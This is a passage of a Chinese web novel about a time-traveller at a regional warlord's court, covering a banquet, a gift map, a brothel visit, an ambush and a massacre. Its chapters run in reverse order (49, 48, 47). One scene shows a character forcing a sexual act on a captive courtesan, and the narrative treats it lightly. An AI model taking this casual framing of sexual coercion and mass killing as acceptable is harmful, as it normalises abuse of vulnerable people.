熬到这几位姑奶奶都吃完,漱了口后,众人闲坐在膳房的软椅客座上,终于能开口说话了。 凌晨好奇的看向主位上的文夫人,出言问道:“伯母,大人上哪去了?怎么不见来跟我们一起用饭?” 文夫人接过女管家递过来的茶杯,笑着对凌晨说道:“老爷政务繁忙,今日不能前来,故而叫我带着他们陪你,也叫你们几个小辈认识一下。” 凌晨听到后笑着点了点头,心里却在盘算起来—— 老文这是真把自己当子侄辈看待了,那要不…… 晨飘零半生,未逢明主,公若不弃…… 噜噜噜!妈的,老子怎么这么没骨气,一顿饭就认起爹来了? “我听老爷说,你家中还有位妻子?” “嗯,是的伯母。” “什么时候带过来,也让我瞧瞧。” “嗐~她就是个乡下毛丫头,不懂规矩,万一冲撞了伯母,岂不是罪过。” 文夫人喝了一口茶后,面相慈祥的说道:“我这里没有那么多的规矩,定不会约束到她。只是想看看,究竟是什么模样的可人儿,能让你将功名利禄视若云烟。若是有机会,可不要忘了全我心念。” 听到文夫人和凌晨的谈话后,文若娘子看向凌晨的目光中露出一柔和,而文鸯则是对他产生了一丝好奇。因为在她们的圈子里,只有一位伴侣的人可不多见,至于说为了另一半放弃自己的大好前途,那更是天方夜谭!就是寻常百姓家,也没听说过有这等事。 “我们少年结发,她对我不离不弃,倾心相许,我怎么能不顺她心呢?自然是事事依着她来。” 文夫人望着凌晨满意的点了点头,却也在心中明了一件事—— 想得到一柄绝世神兵,就必须先得到它那看似不起眼的剑鞘。 第49章 山雨欲来 吊着灯笼的游廊里,曲折的小石桥横在种满浮萍的池子上,在灯光的照映下还能看到里面的鱼儿穿梭往来。夜风微凉,云蔽月隐,三个人悠闲的聊着天,并肩向教坊司大门走去。 “大哥,你刚才问人家姑娘的癸水干嘛?” 凌晨有些摸不着头脑,难道他看错人了?文若其实是那种金玉其外,败絮其中的超级大变态? 文若听后淡淡一笑,平静的向他解释道:“只是了解一下不同女子的周期,再观察一下她们的精气神,猜测一下彼此之间有没有什么联系。 说出来不怕你们笑话,我除了行军打仗之外,唯一的爱好就是研究每个人的言行举止,询问他们的想法和念头,推敲他们的人生经历和隐藏在背后的规律。偶有所得,便觉得新奇有趣。” 哦…… 看不出来,文若还有成为社会学家的资质。可惜了,他要是个寻常的富家公子,倒也能从心所欲,静下心来开发自己的兴趣。若干年后,说不定还能让大周出半个圣人。 可惜,他的身份注定了一生要为家族、为江淮地区的士绅百姓案牍劳形、枕戈待旦。节度使还没有退休一说,所以根本没空去钻研那些天马行空、缥缈如幻的东西。 顿了顿后,文若又难得谈及风月之事:“不过说起来,方才那位锦初姑娘,确实是恬静温婉、贤良淑雅的性子。” 听到文若这么卖力的夸刚才那位姑娘,凌晨悄悄放缓脚步,离他俩远了点。 你妹的,你小舅子还在这呢!你当着他的面夸别的女人,这么坦诚己见真的好吗? 一会别把血溅到我身上。 哪料韩登不仅不以为意,反而还接过话茬讲道:“我跟你不一样,除了刚才那坊官,这院里哪个我都觉着好~” “咳咳……” 凌晨犹豫了一下后,腼腆的说道:“其实,我倒觉得那坊官也挺眉清目秀的……” “啊?” “咦!” 听到这话,韩登差点没跳起来,撒开腿就“噔噔噔”的向前跑去,文若也默默加快了脚步,不着痕迹的远离了凌晨。 “哎…不是,你们跑什么?” 凌晨赶忙追了上去,三人追逐打闹着跑出了教坊司的院门。凌晨终于一把抓住了韩登的衣袖,搂着他的脖子淫笑道:“不要走!来让本大爷嘛一口!” 韩登用胳膊挡住凌晨的脖子,推着他的身体拼命挣扎道:“滚!想不到你竟然是这样的人!快放开我!” 闹着闹着,韩登突然停止了反抗。 教坊司由于其本身的高级性和保密性,所以位置建的比较偏僻,位于汝南城东的一处矮山下,四周都是树林草石,由一小段林间道连接着繁华的闾右。 幽静的院落就如同被嵌在山水之间,院墙四周的树木都被砍掉了。这么做能有效的阻止采花贼顺着树翻进去霍霍姑娘们,也能防止某些吃饱了没事干的御史,浏览完好心人施舍的资源后反手一个举报。 外面的道路上平时不仅有小厮站着守门,还有更夫和皂吏每隔半个时辰就巡一次夜,更不要说前来这里的人基本都带着随从和护卫。 但现在,门外漆黑一片,空无一人。文家的下人和跟着他们前来的长随都不见了踪迹。 “砰!” 就在三人愣神的功夫,身后教坊司的大门也突然被人从里面关上了。 木瓦门头下的青石台阶上,文若神色冷峻的皱起了眉头,缓缓挪步站在了正前方;韩登收起了那副玩世不恭,将右手背至身后腰间;凌晨默默将他们护至身前,扭头看向背后紧闭的大门。 挂在大门两侧的灯笼被夜风吹的摇摆不定。 一个,两个,三个…… 足足十几个蒙着面的黑衣人手握钢刀,一言不发的从黑暗的路边草丛、树林里走了出来,向着唯一还有点亮光的教坊司大门围拢了过来。 文若接住韩登递过来的短刀,反手握紧,望着台阶下的黑衣人们,目光冷漠如冰—— “好大的胆子。” 韩登将腰间的短刀递给了文若后,把将自己身前的腰带扣转动着拧了一下,从腰带里面抽出一把软剑,剑身明闪闪的晃个不停。 看到他抬腿向前走去,凌晨只好把自己刚伸出去的手又悄悄缩了回来。 老文还是不打算放过韩登? 不对,那应该早在书房时就动手了。反正都是死在汝南城、死在江淮军的地盘上,有什么区别? 不是老文,那还有谁想让韩登死在这里,引起江淮和关中两大节度使的嫌隙、甚至是仇恨呢? 好难猜呀~ 总不能是想把他们俩都杀了吧?那也太疯狂了! 不过现在凌晨没空去猜测那些乱七八糟的可能、慢慢琢磨前因后果。眼下他还有更尴尬的事情要处理,这里还有俩大灯笼呢!总不能当着他们的面使用动耳神功吧?!那估计会被当成邪恶巫师给烤了…… 这么些日子相处下来,凌晨对这俩货也有点感情了。但现在被逼到没有办法,不暴露底牌估计没法活,就只能忍痛把文若和韩登也一起灭口了。一想到这里,凌晨的心里还真有点空落落的。 就在凌晨纠结要不要痛下杀手时,那帮黑衣人已经一拥而上,冲到门口和文若、韩登厮杀在一起了。细看之下就能发现,他们对文若都是用砍,而对韩登却是刺。 文若是军中战将,砍人的技巧和经验都很丰富;而韩登天天抄别人的家,一身的好武艺自不必说。这帮黑衣人虽然人数占据优势,却也无法迅速拿下他们。 可乱拳打死老师傅,他们武艺再好也只有两个人,而且体力正在快速流失,只需要一盏茶的功夫就能解决战斗。 明明是生死搏杀,这群人愣是没有一个人开口说话,只能听到铁器撞击的“锵锵”和身体倒地的“噗通”声,还伴随着偶尔闪起的一丝火星。 气氛又紧张,又诡异。 就在这时,两个奔到台阶上的黑衣人挤不进包围文若、韩登的圈子里,于是便齐齐转头把目光看向还没有加入战斗的凌晨。 唉,看来是躲不过去了,只能怪咱们缘分太浅,下辈子再做兄弟吧!后背隐藏能源,启…… “凌晨!你干嘛呢?还不出手?” 韩登的这一嗓子,成功让这群黑衣人的头领注意到了在一旁看戏的凌晨。他们白天调查过凌晨,只不过由于时间仓促,仅仅了解到他是文家故交,是来祝寿的。 实力、身份、背景还来不及查清楚。 不过现在也不用搞清楚他是谁,反正不能让他们联手到一起增加不确定性。既然来都来了,那就一起上路吧,也好多个伴。 “把灯熄了!趁乱摸黑快点杀了他们!” 他一声令下,身后两个黑衣人立刻甩出手中的刀,将挂在门头两边原本就忽明忽暗的灯笼打落下来。其中一盏落下来后直接灭了,而另一盏刚燃起外层包纸,就被混乱的脚步踩熄了。 黑暗中,凌晨捂着脸,被感动的都快要不知道说什么好了。 好人啊~ 一会说什么也要给他留个全尸! 这位头领一看就是聪明人,他们一直隐匿在暗中,所以对黑灯瞎火的环境更加容易适应。再说了,大家都看不清楚乱砍一通,当然是人多刀多的那一方更有优势了。 可是, 实在不好意思, 鄙人,也略懂一点点夜战。 “韩兄莫慌,我来助你!!” 一个驴打滚闪到一旁的凌晨迅速抓起一柄地上的钢刀,向包围圈外围剁了过去。几乎是同时,他刚才待过的地方被两把刀砍击到石板上,擦出几颗火星子! “燕返!” “空明斩!” “狂风绝息——哈撒给!” 每砍翻一个人,凌晨就立马换个位置,在最外围转着圈的劈、砍、刺,实在没有机会,就蹲下用钢刀扫脚腕! 不要小瞧了洒家这双晚自习钻进小树林里偷窥情侣们亲亲摸摸的夜视眼啊! 这群黑衣人人都麻了!韩登和文若被他们围在中间,自然是不用辨别方位,闷声挥刀就行了。可外圈的这个家伙根本看不见人在哪里,负责围堵他的那俩猪队友也没防住。 等他喊出声时,就说明能够攻击到他的人已经倒地了,就算能在嘈杂的脚步和兵器的撞击声中分辨出他的方位,他也早已经换了位置…… 找不见人就算了,还根本不跟你堂堂正正的较量,就是偷袭! 虽然我们也是来偷袭的,但我们不喜欢被偷袭啊…… 阳光开朗大男孩可不会去共情乐色的感受,快乐就完了! 黑夜中,不断响起闷哼声、倒地声、喘气声、铁器撞击声、怒喝声,还夹杂着几道没来得及说完的求饶声。 不知道过去了多久,教坊司的大门外、道路两旁站满了手持火把和兵器的士卒。文若和韩登坐在满是血迹和尸体的台阶上大口喘着粗气,他们两个身上都挂了彩。 凌晨用箱子里煮过的白布条勒紧韩登的胳膊后,拍着他说道:“行了,血止住了,应该死不了。” 旁边的文若光着膀子,露出一身健硕匀称的肌肉,任由一位军医往他肩膀上的外翻伤口里撒金疮药,面色如常,仿佛根本没有感觉。 韩登伤的比文若轻,却“哎呦哎呦”的哼个不停,看不惯的凌晨踢了一脚他的屁股,骂骂咧咧的说道:“你能不能男人点?谁让你刚才在里面放飞自我的?虚了吧?” 韩登咧着嘴想说些什么,可又无言以对,也不太好反驳凌晨。 十八具尸体横七竖八的倒在周围,他杀了两个,文若杀了五个,剩下的都是凌晨杀的。 最重要的是,他身上没有伤。 只有在砍贼人时不小心扭了一下脚腕,有点不太舒服,仅此而已。 就在他们包扎好伤口休息的时候,远处路口响起了马蹄声,何关一身甲胄,手持长柄大刀策马而来,身后全是亲卫营的士兵,将一辆马车拱卫在中间。 车停在教坊司门口后,随行士兵揭开帘子,扶着从车厢里面出来的文训走下马车。 文训先是看了一眼他们三个,见他们都没有受太重的伤后,这才望向一地尸体。 “一个不留。” “是!” 文训一声令下,周围的士兵们列队手持兵器冲进了教坊司里,里面立刻就响起了撕心裂肺的哭喊声和铺天盖地的惨叫声。凌晨本想着开口劝一下,但当他看到文训深沉的目光后,还是被迫止住了嘴。 老头真生气了。 “回府。” 文若明显也跟凌晨一样于心不忍,可父亲军令已经下了,覆水难收,只能轻叹一口气,郁闷的起身。 被安排进文府别院后,凌晨坐在木头浴桶里洗了个澡,洗去一身臭汗和血迹后,就安安心心的躺下了。至于是谁派来的杀手,凌晨毫无兴趣,老文一定会原模原样、甚至是百倍奉还的。 袭击人家的下一代家主、接班人,在任何时代,任何势力,任何文明都是不可饶恕的。更不要说还想借刀杀人,栽赃嫁祸。 还挑在人家大寿的日子。 这属于是把梁子往死了结,不考虑解的那种。 而如今的大周,早已是千疮百孔,风雨飘摇。前有农民起义,后有藩镇叛乱,现在正在经历草原南下。更不要说还有连年征战导致的民不聊生、国库空虚。 如今统治者内部还有野心家试图将局势搅的更乱,从而浑水摸鱼,把混乱作为自己上升的阶梯。 凌晨躺在床上,静静的望着房顶。 就连身份尊贵的文若和韩登都会有杀身之祸,那像他这样的小角色又该如何在乱世中自处?那些比他更弱小的人呢? 动耳神功再强,也不可能在遍地狼烟中百分百护佑好青柠,更何况,就连他自己也不是无敌的。 看来,要想真正安稳平静的生活下去,唯有以杀止杀,结束战乱。 肃清万里,总齐八荒,笼络人心,一统天下。 第48章 水榭闲话 要是文若真这么喊出来就好了。 文训非常满意的把地图收下仔细观摩去了,至于他能参悟出个什么来,凌晨就不知道了。 反正韩登是被吓了个半死。 一张囊括了他们认知以内所有势力、地区、城池、山川风貌的地图倒不至于让文训生出杀心。但韩登看到了他们父子眼中的火热,这就不太好了。 凌晨替他圆扬、试图转移话题都没有用,最后还是文若亲自出马,才让文训熄了脾气。当然,可能也存了让文若布恩于小舅子的心思。 别看老文平时和蔼可亲的,真要生起气来,闹出的动静绝不会比应开疆小。 跟江淮节度使扳手腕,韩登根本不够格,得他爹来才行。 最后,让天下官吏闻风丧胆的韩司狱是被凌晨和文若一左一右架着胳膊抬出书房的,出来的时候腿都软了。 为了让韩登不要留下心理阴影,一向正经的文若竟然破天荒的决定今天要夜不归宿,带小舅子出去喝花酒散散心。 韩登不但没有替他姐好好劝阻姐夫,反而还急切的催促着快走,好像晚了就再也享受不到了似的。 凌晨不禁在心里思索起来,要是这个时候自己跑去告诉文若媳妇,那不就有戏看了嘛…… —— 以文若和韩登的身份,肯定不会去那些笑迎八方客的青楼楚馆,他们去的地方是官办教坊司。 有资格来这里按摩洗脚的顾客,首先得是官身,其次还得有文家或者汝南府衙的令牌文书,这样才能进入前院。 而后院,有钱、有权都进不去。 这里的姑娘也不简单,个个都是犯官之后、出身名门的深闺小姐。琴棋书画无所不通,诗词音律无所不晓,长相各有千秋,身段环肥燕瘦,性格迥然不同,且都是处子之身。 她们之中甚至可能还有被韩登亲手抄了家送过来的,这小子也是心大,还敢来这里。当真不怕熟睡后被人家勒脖子或者剪裤衩子上的线头。 每位姑娘都有单独的小院,除了不能离开这里之外,她们和主人没有区别,可以吩咐这里的下人做任何事,按照自己的风格和意愿来装饰自己的院子。 凌晨原本不想来,他以前也曾见花闻香,进寺便拜。但直到最后才发现,过尽千帆皆不是,徒增情债几本。 “人世间~有百媚千妩~ 我独爱~爱你那一种~” 不过今天不陪着来还真说不过去,毕竟是因为自己的《万里山河图》,才让韩大人在鬼门关里进进出出,再不陪陪他,就真的要友尽了。 责任划分就我四他六吧~ 穿过静谧的花园月拱,三人来到一处临池水榭里,立刻就有一个穿着官服的人走上前来,拿出一沓画册放在三人面前,让他们挑选。 也不干等,那些身份比较低的犯官女眷已经排成队走上前来跳舞助兴了。 韩登一边翻着画册,一边指着凌晨说道:“你害苦我了你……” 凌晨和文若对视一眼,一个无奈,一个苦笑。 韩登挑完文若挑,文若挑完凌晨挑。 凌晨望着眼前的画册,画的还挺精细,古典国画的风格,但却不是写意,而是更加偏向写实一点。想来也对,跟能来这里的客人搞照骗,那是真没有在乎的东西了。 见到一向自重的文若也挑了个姑娘,凌晨也不搞特立独行,准备叫一个过来聊聊风花雪月。他随手挑了一张拿给那官员,然后就双脚搭在桌子上悠闲地啃起梨来。 嗯……味道不好,应该是去年窖藏的。 三个人都没心思看那些身姿曼妙的舞女。文若在思考那幅《万里山河图》以及一些更加深远的东西;韩登的脑海里一直挥不散文训先前那股冷冽的眼神;凌晨在想龙皇异次元究竟能不能硬刚极地沙尘暴。 不一会,三个裹着各色斗篷的女子便在侍女的陪同下来到了水榭里,那位教坊司的官员竟然还对她们弯腰行礼,向她们指着凌晨三人说着什么。 片刻后,那些舞女、侍女和官员都退了下去。而那三个女子却款款褪去斗篷,分别来到了三人身边。 韩登一把将自己面前的女子拽着手臂拉到身边,捏住她的脖子恶狠狠的说道:“我现在火气很大!” 说罢,他就粗暴的摁着女子的脖子,也不征求人家的意见,蛮横的把她摁到正确的位置败火去了。 “呜呜……呜!” 虽然是晚上吧,但你这也太…… 凌晨转了个身背对着韩登侧躺着,这种情况他还是第一碰到,咱哥们的关系虽然不错,可你也不能这么…… 去她院里啊!到了那,你就是滴蜡烛抽鞭子、甚至更释放天性点我也没意见。 唉,难评。 文若就比他好多了,只是伸手请那女子坐下,开口聊起天来。凌晨竖起耳朵听了听,他在询问那女子最近的心情、饮食、有没有什么愿望之类的,甚至还问人家的癸水周期。 啧……更难评。 “公子。” 就在凌晨神游天外时,立在他面前的女子文静的开口了。 凌晨这才想起来自己也喊了一位呢,于是便对她说道:“坐坐坐,你放心,我没他那么变态,咱们说会话,互相解解闷。” 女子红着脸抬眼看了一眼韩登那边,轻“嗯”了一声,便坐在了凌晨旁边。 长相没得说,蝶背鹅颈桃花眼,玉藕琼鼻纤云指,是个男人就拒绝不了。气质也很淑雅,一看就是大家闺秀,如果不是穿过来还有挂,这样的女子凌晨这辈子都没有机会接触,至于其他那更是痴心妄想。 “妤儿冒昧,敢问公子,官居几品?” 短暂的尴尬后,女子率先打破沉默,和凌晨聊了起来。 “没品,我就一小县尉。” 女子听后满脸疑窦,县尉? 什么县尉能和文若、韩登一同来汝南教坊司?而且看他的举止,跟那两位贵胄明显是平起平坐的姿态啊! “那公子现在何处做县尉?” “颍川府治下的一个小县而已,姑娘不必疑虑,我不像那俩地位尊崇,就是个普通人。” “昂……” 听到这话,这位叫妤儿的女子不禁从心底生出轻慢之意。她虽然家道中落,但也不是人尽可夫的。眼下唯一能倚仗的只有这副清白之身,必须要觅一位家世显赫的郎君,紧紧抓住他的心,才能有机会翻身。 正室不敢奢望,但妾室还是要争一争的。 不过,尽管心中已经有了拒意,但她的表情管理还是很到位的,并没有傻乎乎的将心思表现出来。 她准备变着法的让凌晨对她失去兴趣:“公子想必已经成亲了吧?不知尊夫人是哪家小姐?” 凌晨将吃完的梨核随意扔在桌子上,端起一杯荔枝膏笑着说道:“她和我一样,都是寻常布衣人家。不过她种菜很厉害,什么菜在她手里都能长势喜人。” 种菜? 妤儿闻言差点没绷住笑出声来,轻“嚎~”了一声,谁家女子会去下地种菜啊? 但她这声轻嘲,却被凌晨听到了。 下一刻,他就将手中的红色酒水直接泼在了妤儿的脸上,原本整洁的衣服被淋湿了,飘逸的秀发也贴在一起,脸蛋上的文静秀美也被惊诧慌乱所替代,整个人都显得狼狈至极。 在扬的人都望了过来,除了那位被韩登捏着脖颈的女子。 “你刚才,在笑什么?” 妤儿难以置信的低下头看着自己身上的荔枝膏,肩膀微微起伏,也不知道是被气的还是被吓的,一时间竟说不出话来。 还是文若开口解围道:“滚下去。” 听到文若的话后,妤儿连忙站起身来,失魂落魄的朝着凌晨行了一礼,眼中含泪,转过身就惨惨戚戚的退了下去。 凌晨没有践踏别人尊严的习惯,这些女孩家破人亡,本就身世可怜,他也不忍心让她们悲惨的境遇再次雪上加霜。 但你嘲笑我老婆是什么意思? 你不吃菜?你吃的东西是天上掉下来的?不尊重劳动人民,没有感恩之心,那活该你进这教坊司!既然享受了锦衣玉食的供养,就理应承担家族覆亡的命运。 文若望着凌晨劝解道:“不过是个不懂事的女子,贤弟何必因她动怒。” “我拿她当个人,好好跟她聊天,她竟然敢嘲笑我娘子。女生怎么了?她是畜生都不行!” 韩登仰面朝天长出了一口气后,顿时觉得索然无味。一脚踢开身前的女子,一边束着自己的衣服一边看向凌晨说道: “你不是一向脾气都很好吗?今天这是怎么了?跟个官妓发这么大的火?” “我们暗区玩家对不是伴侣的异性没有兴趣,一言不合直接压力好吧!” 韩登浑身舒畅的端起一杯酒灌了一口:“暗区是什么?什么江湖组织吗?跟我说说,我记一下。” 凌晨对这种牛头不对马嘴的话题兴意阑珊,懒得搭理韩登。 见陪着韩登的女子也被赶走了,文若也礼貌的请自己身边那位姑娘离开,四下无人后,水榭里就只有他们三个了。 “贤弟,你今日的寿礼……所绘精准吗?” “大的区域基本都是准确的,但有些地方的具体水道和地形可能会和当地实际情况有出入,如果要得到一幅完全精确的图纸,怕是需要投入很大的人力物力才能做到。” 文若点了点头,在脑海中回忆着《万里山河图》上的画面,再次开口询问道:“贤弟既然能作出此图,想必对各方势力都有所了解,不知你是如何看待当今天下四国并立的局面?” 天下大势? “这个我还真不擅长,但是有个人十分清楚。” 文若闻言坐直身子,凝眉问道:“何人?” 凌晨回忆起王臣鹤一家离开时的漫天飞雪,笑了笑后,对文若说道:“眼下时机未到,大哥就别问了。等到朝廷击败草原诸部,有南下之意时,我再把他举荐给你,必能助大哥横扫江南。” 韩登在一旁插嘴道:“有那么厉害?” 一想到那局骗子酒馆里最先出局的人现在居然敢质疑最后的赢家,凌晨就忍不住想笑。 那不是一局简单的游戏,而是对胆量、思维、运气、演技和观察力的综合考验。 那扬考验最后的赢家,是王臣鹤。 “哦对了,我们县新来了个知县,叫崔赦,来自魏博,你们有没有听过这个人?” 韩登和文若听后皆是点头:“认识。” “魏博不是在河北地带么?他们家不是跟着那反贼应开疆……” 韩登放下手中的酒盅,大大咧咧的躺在榻上说道:“这有什么稀奇的?谁家子侄没有分布在各个地方?” 凌晨还是不太明白:“可他家跟朝廷不对付,他为什么会深受信任呢?临颍现在蒸蒸日上,朝廷还把他下放到这么好的地方,明摆着是有历练之意呀……” 韩登终于能在与凌晨的交谈中占据上风了,于是用看乡巴佬的眼神望着凌晨,得意的说道: “这是千百年来,大家族俗成默认的规矩。鸡蛋不能放在一个篮子里,他家里人跟着应开疆,族中其他子弟在朝廷、在各个地方,比如江淮和关中任职效力。这样无论是哪一方有出息了,都会将家族的荣耀延续下去。 我们也是啊,我爹和我弟在关中,我在朝廷。我姐夫在江淮,但他弟弟在河北,都是这样的。” 凌晨疑惑的问道:“那他们效命的势力就不怕他们之间内外接应,互通情报,导致功败垂成吗?” 文若摇着头说道:“不会的,分出去的子弟一旦选择了效力的目标,就会与处在敌对势力的自家族人划清界限。比如你说的崔赦,他是魏博崔家的火种。如果他与应开疆暗中勾连被发现,而最后朝廷平定了叛乱,那他们家就彻底完了。 所以,他们会忠心耿耿的做事,无论哪一方胜,门第都会继续延续,甚至比以往更加兴盛。比起家族的传承和荣耀,个人的荣辱得失不值一提,也没有人会不理智的去通敌,拿祖宗基业去押单一一方。” 哦~~ 经他们这么一说,凌晨也想起来了,三国那会,诸葛氏一门三兄弟,不就是分别在魏蜀吴三家各自效力,而且地位还都不低。 还有那位千古第一老丈人,三个女儿,分别是北周、隋、唐的皇后,不管最后是谁得了天下,他们家的地位都不会变。 投资么…… 第47章 万里山河 绕过前门的影壁后,他来到了一座篮球扬大的空地,地面是干净整齐的灰白平砖,还刻着花纹和图案。两边每隔几米就放着两口陶瓷大盆,里面栽着各种各样的花卉,甚至还有浮萍睡莲,只是还没开。 四周走廊里全是黄木柱子,红木美人靠,青瓦整齐排列在拱上,往两侧划出飞檐,底下站着静立的小厮和侍女,个个都是年轻秀气的面孔,机灵活泼。 远处竹劲松直,翠绿叠叠,鸟语花香。进处客似江鱼,人声喧嚷,欢谈笑闹。 而这,只是他家前院。 凌晨看的嘴角直抽抽,他去过故宫博物馆,明清皇帝的宅子跟老文一比,简直是…… 这真的不逾制吗? 本人在此严正声明:本人不是自愿来这里的,是受江淮节度使胁迫,他说不来就要嘎本人的腰子。往后皇帝陛下要是削藩,查到这里的时候千万别把我算进去,我只是个身不由己的无奈县尉而已。 “看什么呢?” 就在凌晨被文府的占地面积震惊到的时候,一只手搭在了他的肩膀上,扭头视之,韩姓貔貅。 貔貅者,只进不出也~ 凌晨一把拨开韩登的爪子,面色嫌弃的抬腿往台阶下走去:“去去去,怎么哪都有你?” “我长姐的公公过寿,我当然要代我爹来啊~”韩登连忙追上前去,跟在凌晨身侧叨叨起来:“而且我猜到你也一定会来。” 寻常人这么和韩登说话,早就有刑部武官去他家帮忙大扫除了,可说这话的是凌晨。 由于投胎的技术性和职业的特殊性,上到大周国服第一、下到街头流浪主播,韩登都见过。 但唯独凌晨这样的,他只见过这么一个。 他对任何人都充满怜悯,同时又对任何人没有敬畏。 在他眼里,自己就是韩登,不是什么刑部司狱郎,也不是什么关中节度使之子。高兴了跟你聊上两句,生气了就盯着你的脖子不语。 在召陵监狱那次,韩登当时很清晰的感觉到:他真敢动手。 “哎~我最近……” “你闭嘴!我很忙,我没空,想找我帮忙,先把前几次拖欠的务工费、陈啸的汤药费、还有我娘子的那顿饭钱还了再说~” “不是,谁要找你帮忙了?我是说我最近抄家时新得了个玩意,从左边倒水流向右边,上面的木制人像和鸡犬都会跟着动起来……” “垃圾,扔之。” 他们并排穿过迎客厅,来到了二院的宴席处,凌晨在小厮的指引下坐到了绿荫中的一座圆桌前,韩登也拨开原本坐在旁边的那个人,凑在凌晨身边,描述起那件流水玩件的具体模样。 那年轻公子本来坐的好好的,突然被人拨着脑袋推走,懵了一下后才反应过来,登时就恼了!立刻转身按住韩登的肩膀问道:“兄台,你也太粗鲁了些,纵使要换位,也该……” 韩登扭头疑惑的望向对方,那公子看清楚韩登的正脸后,又懵了。 “怎么了?” “没……没事,原来是司狱大人,是在下眼拙了,您坐,您坐……” “哦~” 韩登转过头来,继续对着凌晨喋喋不休,凌晨不耐烦的挥手说道:“我说你能不能安静点,不要打扰我赏花的心情。” 那位年轻公子本来都准备转身溜了,听到这话后又猛的瞪大眼睛,扭头看向凌晨,心中顿时涌起一阵惊涛骇浪—— 我靠!这哥们谁啊…… 桌子上的菜品很简单,一尾清蒸江鱼首尾翘起,撒着翠红细缀,浓白色的底汤只有薄薄一层淋在碟面,上面漂着点点油花。 每个席位前放着两只红蟹,用细绳捆着,散发着淡气,一旁整齐的放着食蟹的工具和汤料,还有青色擦巾。 羊排整齐的叠成层梯状,细数去却只有五根,看起来肥瘦相间,还有荷叶和芽菜点缀,旁边摆着去膻的糖腌胡蒜片。 用瓠瓜和面筋挤压而成的团锦,尝起来有种猪油的肉香味,还有外层竹笋的清香混杂其中,摆盘精致,小巧玲珑, 说起来,自从凌晨来到大周以后,吃的最多的好像就是竹笋了,感觉哪里都有竹笋做成的菜肴。 其他素菜、汤锅、果垒、花饼也是既好看又美味还营养,除了那碗蛇羹。 凌晨光顾着听韩登唠叨了,等喝下去才发现不对劲,不顾其他客人异样的目光把自己碗里的汤底往上一翻,斩断的蛇身就露了出来。他还安慰自己可能是黄鳝带鱼之类的,可该死的韩登凑到他耳边,用无比自信的语气告诉他那就是蛇羹…… 咽下一口酸梅汤润了润喉后,韩登又从凌晨的眼神中感受到了一股杀意。 不是……咋滴了? 在今天到扬的宾客中,凌晨的身份还真不够看的,文若和文训都忙着接待大人物,但也吩咐下人将他安排到正堂外的垂丝海棠树下第一桌。 这一桌就四个人,除了他们之外,另外两个分别是淮南太守的公子和息城知县。被韩登赶走的那位身份也不简单,他是当朝工部侍郎的族侄。 正堂内的就更不得了了,里面三桌宴席上坐着的,每一位都是一方巨擘。连给韩登原本安排的位置都只是在东偏,正中间的那几个老者是什么份量,凌晨大概也能比对出来。 还真是满堂花醉三千客啊~ 到了献寿礼环节时,许多人都亲自带着家奴抬的礼物站在正堂门口,向着里面行礼,唱报人念一句,站在门口的文若就代父还一次礼。 凌晨看的兴致勃勃,韩登也凑在一边好奇的打量着这些宾客。这会他反而不烦凌晨了,而是默默从怀里掏出个小本子,又从袖间掏出一支写小楷的笔,拔去竹帽。 将这些放在桌子上后,他又不知道从哪摸出一方墨,往碟子里倒了点酒后磨了磨,沾着毛笔鬼鬼祟祟的低头写了起来,唱报人念一句,他记一笔。 跟凌晨同一桌的那俩脸都绿了…… 尼玛! 这特么谁还敢上去献礼?! 凌晨察觉到后,一把将他手里的本子抢了过去,嫌弃的说道:“咱做个人行不?” 韩登将竹帽扣在笔上,双肩一耸后,好奇的问道:“你这次给文伯父送的什么寿礼?” 凌晨望着不远处的祝寿宾客说道:“想知道?” “嗯。” “这会人多,不方便,晚上吧~” “嗯?” —— 直到亥时,客人才陆陆续续的离开文府,送别了最后一位客人后,韩登带着凌晨来到了文训的书房里。 早有侍女将铜灯、纸笼、蜡烛俱各点起,窗外月明星稀,室内亮如白昼。 文训侧卧在榻上,看起来也有一些疲惫,两个侍女服侍着他靠好后,给他捏起双腿和肩膀来。 文若、韩登、凌晨挨个坐在客椅上。 “你们都是内家子侄,老夫就不端着了,你们也别拘束,都随意些。” 韩登还真随意的拱了拱手:“我爹专门送来家书,让我向伯父道寿。五百匹陇右战马不日就会送到大营,还有些吃用之物也都交给谢管家了。另外,这是晚辈给伯父的一点心意,愿伯父体健身轻,福寿绵延。” 说罢,他便起身从怀里掏出一块普普通通的浅紫色石头递到了文训的手中。 “这是……” “这是下人从西域偶得的一块紫壁,摸着温凉,献与伯父闲时把玩。” 文训将玉放在烛光下仔细观看了一会,点着头说道:“嗯,难为你有心,这玉质地细腻,品相上乘,确实是不可多得的好物。” 凌晨在一旁听的直“切”,不就一块破石头吗?说的跟通灵宝玉一样玄乎。你要掏出块和氏璧来,那才算你厉害。 凌晨不屑的表情和声音都被其他人看在眼里,韩登顿时就有些脸上挂不住了:“你切什么?你瞧不上?” “一般吧~” “什么?你……行行行,白天你说不方便,现在已经夜深了,快把你的寿礼拿出来叫我瞧瞧,若是不如我,哼哼~~” 文训见状笑着说道:“你休要激他,你们能来看我老头子,老夫已经很高兴了,礼物当以心意为主,岂有贵贱之分,如何攀比起来了?” “小样~” 凌晨不屑的瞥了一眼韩登后,起身对文训身边的两个侍女说道:“你们先下去吧。” 两个侍女闻言都看向文若,文若朝着她们挥了挥手,二人便清脆温婉的道了一声“是”后,退了出去。 “过来帮忙。” 凌晨朝着韩登招了招手后,就起身走到门口,从解二和白千手里接过油布包着的棍子,然后叫他们守在门口,不要让任何人近前。 韩登跟过来后,和凌晨一起把棍子抬了起来,他越看越好奇:“你是给伯父打造了一件兵器么?这也太长了,长就算了,还轻飘飘的。” “不是兵器,不过足以亮瞎你的眼睛了。” 听到凌晨这么说,韩登更好奇了,于是伸出手迫不及待的扯起油布来,凌晨吓得一拳捶在他的臂膀上:“活爹!你轻点!这玩意娇贵着呢!” 二人将油布小心剥下来后,韩登站在右侧抓住柱轴,凌晨小心翼翼的转动着手中的巨幅纸张,将两米高的画卷缓缓舒展开了。 文训起初看到画图上面密密麻麻的字迹和歪歪扭扭的线条后,还有些疑惑。 可文若却是“腾”的一下站起来了!双目瞪大,失去了平时贵族子弟的表情管理。 一旁的韩登先是眯着眼睛看了一眼“扶桑”二字和一堆听都没听过的名字后,又将目光向着凌晨那边移去…… 远处的看不见,先看近处的。由上往下分别是——辽东、燕云、河北、关东、徐扬、金陵、临安、会稽…… 大河呈“几”字型分布在宽大的地图上,涛涛长江竟然也有尽头…… 岳、华、庐、嵩山峦细布,渭、淮、海、珠水道纵横,周、唐、蜀、夏四国同现。 文训起身从床上走了下来,文若立刻上前想要搀扶他的胳膊,却被他缓缓推开。 他走到地图前仔细观看着上面的每一个字、每一条线,最终将目光停留在了标注了“汝南”的一小块方框中。 